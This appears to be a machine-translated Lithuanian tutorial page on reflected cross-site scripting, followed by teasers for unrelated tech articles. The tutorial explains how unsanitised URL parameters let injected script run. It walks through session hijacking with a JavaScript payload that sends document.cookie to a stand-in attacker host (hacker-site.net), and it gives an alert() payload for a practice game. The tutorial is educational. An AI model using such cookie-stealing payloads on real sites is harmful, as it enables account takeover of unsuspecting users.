Web7: XSS išnaudojimai – 1 dalis: atspindėtas XSS

Web7: XSS išnaudojimai – 1 dalis: atspindėtas XSS

Kas yra kelių svetainių scenarijus?

Cross-Site Scripting (XSS) yra viena iš populiariausių atakų metodų šiandien, žinoma kaip atakos krikštatėvis ir daugelį metų buvo įtraukta į pavojingiausių programų atakų metodų sąrašą.

Nevadinkite jos trumpai CSS, kad išvengtumėte painiavos su pakopinio stiliaus lapo koncepcija HTML. XSS
technika

Norėdami geriau suprasti, panagrinėkime šį pavyzdį. Žiniatinklio programa, leidžianti spausdinti reikšmę, kurią perduodame per URL, darant prielaidą, kad pavadinimo kintamajame perduodame Ping reikšmę:

Web7: XSS išnaudojimai – 1 dalis: atspindėtas XSS

Viskas kol kas gerai, peržvelkime html šaltinio kodą:

Web7: XSS išnaudojimai – 1 dalis: atspindėtas XSS

Nesunku pastebėti, kad vardo reikšmė, kurią įvedėme, buvo įterpta į šaltinio kodą. Taigi gali būti, kad tai, kas importuota, taip pat gali būti įdėta. Problema tampa rimta, jei įvesta vertė yra ne įprasta eilutė, kaip nurodyta aukščiau, o potencialiai pavojinga kodo dalis, maždaug taip:

 

Bandykite dar kartą naudodami aukščiau nurodytą reikšmę:

Web7: XSS išnaudojimai – 1 dalis: atspindėtas XSS

Iš šio pavyzdžio galime daryti išvadą apie du dalykus. Pirma, pavadinimo kintamasis gali gauti bet kokią įvesties reikšmę ir perduoti ją serveriui apdoroti. Antra, serveris nekontroliavo šios įvesties reikšmės prieš grąžindamas ją į naršyklę. Dėl to javascript kodas įterpiamas į šaltinio kodą.

XSS paprastai skirstomas į 3 pagrindinius tipus: atspindėtas, saugomas ir DOM pagrįstas. Šiame straipsnyje daugiausia paminėsiu Reflected XSS techniką.

Iki 75% XSS metodų yra pagrįsti atspindėtu XSS. Tai vadinama atspindėtu, nes tokio tipo išnaudojimo scenarijuje įsilaužėlis turi nusiųsti aukai URL, kuriame yra kenkėjiškas kodas (dažniausiai javascript). Aukai tereikia paprašyti šio URL ir įsilaužėlis iš karto gaus atsakymą su norimu rezultatu (čia parodyta refleksija). Be to, jis taip pat žinomas kaip pirmosios eilės XSS.

Realus kasybos scenarijus

Yra daug būdų, kaip išnaudoti Reflected XSS klaidą, vienas iš labiausiai žinomų būdų yra perimti vartotojo seansą ir taip pasiekti duomenis ir įgyti teises svetainėje.

Išsami informacija aprašyta šiuose žingsniuose:

Web7: XSS išnaudojimai – 1 dalis: atspindėtas XSS

1. Vartotojas prisijungia prie žiniatinklio ir mano, kad seansas yra priskirtas:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Kažkaip įsilaužėlis siunčia vartotojui URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Tarkime, example.com yra svetainė, kurioje lankosi auka, o hacker-site.net yra įsilaužėlio sukurta svetainė

3. Auka pasiekia aukščiau pateiktą URL

4. Serveris atsako aukai kartu su užklausoje esančiais duomenimis (hakerio JavaScript fragmentas)

5. Nukentėjusioji naršyklė gauna atsakymą ir vykdo javascript

6. Tikrasis „Javascript“, kurį sukūrė įsilaužėlis, yra toks:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Aukščiau pateikta komandų eilutė iš esmės pateikia užklausą įsilaužėlio svetainei, kurios parametras yra vartotojo slapukas:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Iš jūsų svetainės įsilaužėlis užfiksuos aukščiau pateiktą užklausos turinį ir laikys, kad vartotojo sesija perimta. Šiuo metu įsilaužėlis gali apsimesti auka ir naudotis visomis aukos turimomis teisėmis svetainėje.

Praktika

„Google“ sukūrė puslapį, kuriame mokomasi išnaudoti XSS klaidas: https://xss-game.appspot.com

Šių iššūkių tikslas yra tai, kad turite įvesti scenarijus, kad atsirastų iššokantis langas. Pirmasis iššūkis yra iliustruoti atspindėtą techniką, išnaudojimo kodas yra gana paprastas:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Sėkmės!


Pataisyti Nepavyko atidaryti šio elemento klaidos sistemoje „Windows“.

Pataisyti Nepavyko atidaryti šio elemento klaidos sistemoje „Windows“.

Jei naudojate „Windows“, gaunate klaidos pranešimą Neįmanoma atidaryti šio elemento. Jis galėjo būti perkeltas, pervadintas arba ištrintas. Ką turėčiau daryti? Norėdami gauti daugiau informacijos, vadovaukitės toliau pateiktame straipsnyje.

Kas yra KRACK? Kaip KRACK sulaužė WPA2 WiFi saugos protokolą

Kas yra KRACK? Kaip KRACK sulaužė WPA2 WiFi saugos protokolą

Tyrėjas Mathy Vanhoef iš Leuveno universiteto aptiko rimtą saugumo trūkumą Wi-Fi Protected Access II (WPA2) tinklo saugos protokole.

Dažnai užduodami klausimai apie numatytuosius slaptažodžius

Dažnai užduodami klausimai apie numatytuosius slaptažodžius

Šiandienos straipsnyje Quantrimang apibendrins kelis dažniausiai užduodamus klausimus apie numatytuosius slaptažodžius, kad padėtų skaitytojams atsakyti į klausimus, susijusius su šia problema.

Kodėl verta naudoti „CyberGhost VPN“?

Kodėl verta naudoti „CyberGhost VPN“?

Jums reikia VPN, todėl įvairios parinktys yra paprastos, o „CyberGhost VPN“ yra vienas geriausių VPN, kai kalbama apie paprastumą.

3 populiariausi kelių debesų saugumo iššūkiai ir kaip sukurti strategiją

3 populiariausi kelių debesų saugumo iššūkiai ir kaip sukurti strategiją

Daugybė geriausių saugumo praktikų atsirado, kai atsiranda daug debesų, ir yra keletas svarbių žingsnių, kurių turėtų imtis visos organizacijos, kurdamos savo saugumo strategijas.

Įdiekite dinaminius ekranus ir animuotus fono paveikslėlius sistemoje „Windows“.

Įdiekite dinaminius ekranus ir animuotus fono paveikslėlius sistemoje „Windows“.

„Microsoft“ operacinėje sistemoje „Windows Vista“ „DreamScene“ leido nustatyti dinamišką kompiuterių foną, tačiau po aštuonerių metų ji vis dar nepasiekiama „Windows 10“. Kodėl bėgant metams šis paprotys buvo grįžimas į praeitį ir ką galime padaryti, kad tai pakeistume?

Kaip prijungti tinklą tarp 2 nešiojamųjų kompiuterių naudojant tinklo kabelį

Kaip prijungti tinklą tarp 2 nešiojamųjų kompiuterių naudojant tinklo kabelį

Jei norime prie tinklo prijungti du nešiojamus kompiuterius, galime naudoti tinklo kabelį ir tada pakeisti dviejų kompiuterių IP adresus ir viskas.

Kaip pataisyti Neturite leidimo išsaugoti šioje „Windows“ vietoje

Kaip pataisyti Neturite leidimo išsaugoti šioje „Windows“ vietoje

Kai „Windows“ rodoma klaida „Neturite leidimo išsaugoti šioje vietoje“, tai neleis jums išsaugoti failų norimuose aplankuose.

Geriausia nemokama ir mokama „Syslog Server“ programinė įranga, skirta „Windows“.

Geriausia nemokama ir mokama „Syslog Server“ programinė įranga, skirta „Windows“.

„Syslog Server“ yra svarbi IT administratoriaus arsenalo dalis, ypač kai reikia tvarkyti įvykių žurnalus centralizuotoje vietoje.

Kas yra klaida 524 A skirtasis laikas ir kaip ištaisyti klaidą

Kas yra klaida 524 A skirtasis laikas ir kaip ištaisyti klaidą

524 klaida: Įvyko skirtasis laikas yra „Cloudflare“ specifinis HTTP būsenos kodas, nurodantis, kad ryšys su serveriu buvo nutrauktas dėl skirtojo laiko.